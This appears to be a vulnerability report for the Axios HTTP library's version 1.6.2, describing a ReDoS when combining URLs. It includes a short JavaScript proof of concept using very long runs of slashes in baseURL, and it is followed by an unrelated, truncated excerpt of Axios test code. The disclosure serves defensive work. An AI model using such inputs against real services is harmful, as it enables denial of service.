### Describe the bug

Axios is vulnerable to Regular Expression Denial of Service (ReDoS). When a manipulated string is provided as input to the format method, the regular expression exhibits a time complexity of O(n^2). Server becomes unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

Please visit https://huntr.com/bounties/69a1aa07-c36e-4d9e-9325-b634e0aa4bb0/

### To Reproduce

_No response_

### Code snippet

```js
const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/
```


### Expected behavior

A regex optimization

### Axios Version

1.6.2

### Adapter Version

XHR/HTTP

### Browser

Chrome

### Browser Version

_No response_

### Node.js Version

20.10.0

### OS

Linux

### Additional Library Versions

_No response_

### Additional context/Screenshots

_No response_
test/specs/defaults.spec.js
it('should use POST headers', function (done) {
    axios.defaults.headers.post['X-CUSTOM-HEADER'] = 'foo';
    axios.post('/foo', {});
    getAjaxRequest().then(function (request) {
      expect(request.requestHeaders['X-CUSTOM-HEADER']).toBe('foo');
      done();
    });
  });
  it('should use header config', function (done) {
    const instance = axios.create({
      headers: {
        common: {
          'X-COMMON-HEADER': 'commonHeaderValue'
        },
        get: {
          'X-GET-HEADER': 'getHeaderValue'
        },
        post: {
          'X-POST-HEADER': 'postHeaderValue'
        }
      }
    });
    instance.get('/foo', {
      headers: {
        'X-FOO-HEADER': 'fooHeaderValue',
        'X-BAR-HEADER': 'barHeaderValue'
      }
    });
    getAjaxRequest().then(function (request) {
      expect(request.requestHeaders).toEqual(